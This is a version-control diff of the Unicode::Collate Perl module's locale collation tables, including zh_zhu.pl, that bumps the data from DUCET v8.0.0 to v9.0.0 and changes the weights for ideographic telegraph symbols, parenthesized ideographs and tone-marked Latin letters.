-336D      ; [.1BBA.0020.0004][.1BB9.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
-33F5      ; [.1BBA.0020.0004][.1BBA.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
-336E      ; [.1BBA.0020.0004][.1BBA.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
-33F6      ; [.1BBA.0020.0004][.1BBB.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
-336F      ; [.1BBA.0020.0004][.1BBB.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
-33F7      ; [.1BBA.0020.0004][.1BBC.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
-3370      ; [.1BBA.0020.0004][.1BBC.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
-33F8      ; [.1BBA.0020.0004][.1BBD.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
-33F9      ; [.1BBA.0020.0004][.1BBE.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
-33FA      ; [.1BBA.0020.0004][.1BBF.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
-33FB      ; [.1BBA.0020.0004][.1BC0.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
-33FC      ; [.1BBA.0020.0004][.1BC1.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
-33E1      ; [.1BBA.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
-32C1      ; [.1BBA.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
-335A      ; [.1BBA.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
-33FD      ; [.1BBB.0020.0004][.1BB8.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
-33FE      ; [.1BBB.0020.0004][.1BB9.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
-33E2      ; [.1BBB.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
-32C2      ; [.1BBB.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
-335B      ; [.1BBB.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
-33E3      ; [.1BBC.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
-32C3      ; [.1BBC.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
-335C      ; [.1BBC.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
-33E4      ; [.1BBD.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
-32C4      ; [.1BBD.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
-335D      ; [.1BBD.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
-33E5      ; [.1BBE.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
-32C5      ; [.1BBE.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
-335E      ; [.1BBE.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
-33E6      ; [.1BBF.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
-32C6      ; [.1BBF.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
-335F      ; [.1BBF.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
-33E7      ; [.1BC0.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
-32C7      ; [.1BC0.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
-3360      ; [.1BC0.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
-33E8      ; [.1BC1.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
-32C8      ; [.1BC1.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
-3361      ; [.1BC1.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
-1F241     ; [*0372.0020.0004][.8054.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
-1F242     ; [*0372.0020.0004][.802A.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
-1F247     ; [*0372.0020.0004][.A465.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
-1F243     ; [*0372.0020.0004][.83F0.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
-1F245     ; [*0372.0020.0004][.8277.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
-1F248     ; [*0372.0020.0004][.9EDA.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
-1F240     ; [*0372.0020.0004][.8283.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
-1F244     ; [*0372.0020.0004][.9216.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
-1F246     ; [*0372.0020.0004][.A0BD.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
+3220      ; [*0317.0020.0004][.8001.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
+3226      ; [*0317.0020.0004][.801A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
+3222      ; [*0317.0020.0004][.8054.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
+3228      ; [*0317.0020.0004][.8027.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
+3221      ; [*0317.0020.0004][.802A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
+3224      ; [*0317.0020.0004][.80D7.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
+3239      ; [*0317.0020.0004][.81C2.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
+323D      ; [*0317.0020.0004][.831C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
+3241      ; [*0317.0020.0004][.832C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST
+3227      ; [*0317.0020.0004][.8030.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
+3225      ; [*0317.0020.0004][.80F5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
+3238      ; [*0317.0020.0004][.85A8.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR
+3229      ; [*0317.0020.0004][.8041.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN
+323F      ; [*0317.0020.0004][.899D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE
+3234      ; [*0317.0020.0004][.839D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME
+323A      ; [*0317.0020.0004][.89D5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL
+3223      ; [*0317.0020.0004][.822D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR
+322F      ; [*0317.0020.0004][.8081.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH
+323B      ; [*0317.0020.0004][.8A8D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY
+3230      ; [*0317.0020.0004][.815C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN
+322A      ; [*0317.0020.0004][.815F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON
+3232      ; [*0317.0020.0004][.845A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE
+322D      ; [*0317.0020.0004][.8160.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD
+3231      ; [*0317.0020.0004][.979F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK
+322C      ; [*0317.0020.0004][.816D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER
+322B      ; [*0317.0020.0004][.816E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE
+3235      ; [*0317.0020.0004][.9895.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL
+323C      ; [*0317.0020.0004][.B79A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE
+3233      ; [*0317.0020.0004][.8D2E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY
+3237      ; [*0317.0020.0004][.9970.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION
+3240      ; [*0317.0020.0004][.A100.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL
+3242      ; [*0317.0020.0004][.84D8.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF
+3243      ; [*0317.0020.0004][.84D9.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH
+3236      ; [*0317.0020.0004][.9B3B.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL
+323E      ; [*0317.0020.0004][.B2A5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE
+322E      ; [*0317.0020.0004][.8E33.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL
+3358      ; [.1C3D.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
+33E9      ; [.1C3E.0020.0004][.1C3D.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
+32C9      ; [.1C3E.0020.0004][.1C3D.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
+3362      ; [.1C3E.0020.0004][.1C3D.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
+33EA      ; [.1C3E.0020.0004][.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
+32CA      ; [.1C3E.0020.0004][.1C3E.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
+3363      ; [.1C3E.0020.0004][.1C3E.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
+33EB      ; [.1C3E.0020.0004][.1C3F.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
+32CB      ; [.1C3E.0020.0004][.1C3F.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
+3364      ; [.1C3E.0020.0004][.1C3F.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
+33EC      ; [.1C3E.0020.0004][.1C40.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
+3365      ; [.1C3E.0020.0004][.1C40.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
+33ED      ; [.1C3E.0020.0004][.1C41.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
+3366      ; [.1C3E.0020.0004][.1C41.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
+33EE      ; [.1C3E.0020.0004][.1C42.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
+3367      ; [.1C3E.0020.0004][.1C42.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
+33EF      ; [.1C3E.0020.0004][.1C43.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
+3368      ; [.1C3E.0020.0004][.1C43.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
+33F0      ; [.1C3E.0020.0004][.1C44.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
+3369      ; [.1C3E.0020.0004][.1C44.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
+33F1      ; [.1C3E.0020.0004][.1C45.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
+336A      ; [.1C3E.0020.0004][.1C45.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
+33F2      ; [.1C3E.0020.0004][.1C46.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
+336B      ; [.1C3E.0020.0004][.1C46.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
+33E0      ; [.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
+32C0      ; [.1C3E.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
+3359      ; [.1C3E.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
+33F3      ; [.1C3F.0020.0004][.1C3D.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
+336C      ; [.1C3F.0020.0004][.1C3D.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
+33F4      ; [.1C3F.0020.0004][.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
+336D      ; [.1C3F.0020.0004][.1C3E.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
+33F5      ; [.1C3F.0020.0004][.1C3F.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
+336E      ; [.1C3F.0020.0004][.1C3F.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
+33F6      ; [.1C3F.0020.0004][.1C40.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
+336F      ; [.1C3F.0020.0004][.1C40.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
+33F7      ; [.1C3F.0020.0004][.1C41.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
+3370      ; [.1C3F.0020.0004][.1C41.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
+33F8      ; [.1C3F.0020.0004][.1C42.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
+33F9      ; [.1C3F.0020.0004][.1C43.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
+33FA      ; [.1C3F.0020.0004][.1C44.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
+33FB      ; [.1C3F.0020.0004][.1C45.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
+33FC      ; [.1C3F.0020.0004][.1C46.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
+33E1      ; [.1C3F.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
+32C1      ; [.1C3F.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
+335A      ; [.1C3F.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
+33FD      ; [.1C40.0020.0004][.1C3D.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
+33FE      ; [.1C40.0020.0004][.1C3E.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
+33E2      ; [.1C40.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
+32C2      ; [.1C40.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
+335B      ; [.1C40.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
+33E3      ; [.1C41.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
+32C3      ; [.1C41.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
+335C      ; [.1C41.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
+33E4      ; [.1C42.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
+32C4      ; [.1C42.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
+335D      ; [.1C42.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
+33E5      ; [.1C43.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
+32C5      ; [.1C43.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
+335E      ; [.1C43.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
+33E6      ; [.1C44.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
+32C6      ; [.1C44.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
+335F      ; [.1C44.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
+33E7      ; [.1C45.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
+32C7      ; [.1C45.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
+3360      ; [.1C45.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
+33E8      ; [.1C46.0020.0004][.815C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
+32C8      ; [.1C46.0020.0004][.815F.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
+3361      ; [.1C46.0020.0004][.9216.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
+1F241     ; [*0379.0020.0004][.8054.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
+1F242     ; [*0379.0020.0004][.802A.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
+1F247     ; [*0379.0020.0004][.A465.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
+1F243     ; [*0379.0020.0004][.83F0.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
+1F245     ; [*0379.0020.0004][.8277.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
+1F248     ; [*0379.0020.0004][.9EDA.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
+1F240     ; [*0379.0020.0004][.8283.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
+1F244     ; [*0379.0020.0004][.9216.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
+1F246     ; [*0379.0020.0004][.A0BD.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
 2F00      ; [.8001.0020.0004] # KANGXI RADICAL ONE
 3192      ; [.8001.0020.0014] # IDEOGRAPHIC ANNOTATION ONE MARK
 3280      ; [.8001.0020.0006] # CIRCLED IDEOGRAPH ONE

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_zhu.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,8 @@
 use Unicode::Collate::CJK::Zhuyin;
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    overrideCJK => \&Unicode::Collate::CJK::Zhuyin::weightZhuyin,
-   entry => <<'ENTRY', # for DUCET v8.0.0
+   entry => <<'ENTRY', # for DUCET v9.0.0
 02C9      ; [.0000.0199.0002] # MODIFIER LETTER MACRON
 02CA      ; [.019A.0020.0002] # MODIFIER LETTER ACUTE ACCENT
 02C7      ; [.019B.0020.0002] # CARON
@@ -10,212 +10,212 @@
 02D9      ; [.019D.0020.0002] # DOT ABOVE
 02EA      ; [.019E.0020.0002] # MODIFIER LETTER YIN DEPARTING TONE MARK
 02EB      ; [.019F.0020.0002] # MODIFIER LETTER YANG DEPARTING TONE MARK
-0101      ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0100      ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-00E1      ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-01CE      ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-01CD      ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-00E0      ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-00C0      ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0113      ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-00E9      ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-011B      ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-011A      ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-00E8      ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-00C8      ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-00EA 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-00CA 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-0065 0302 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-0045 0302 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-1EBF      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-00EA 0301 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00EA 0341 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00CA 0301 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00CA 0341 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00EA 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-00CA 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
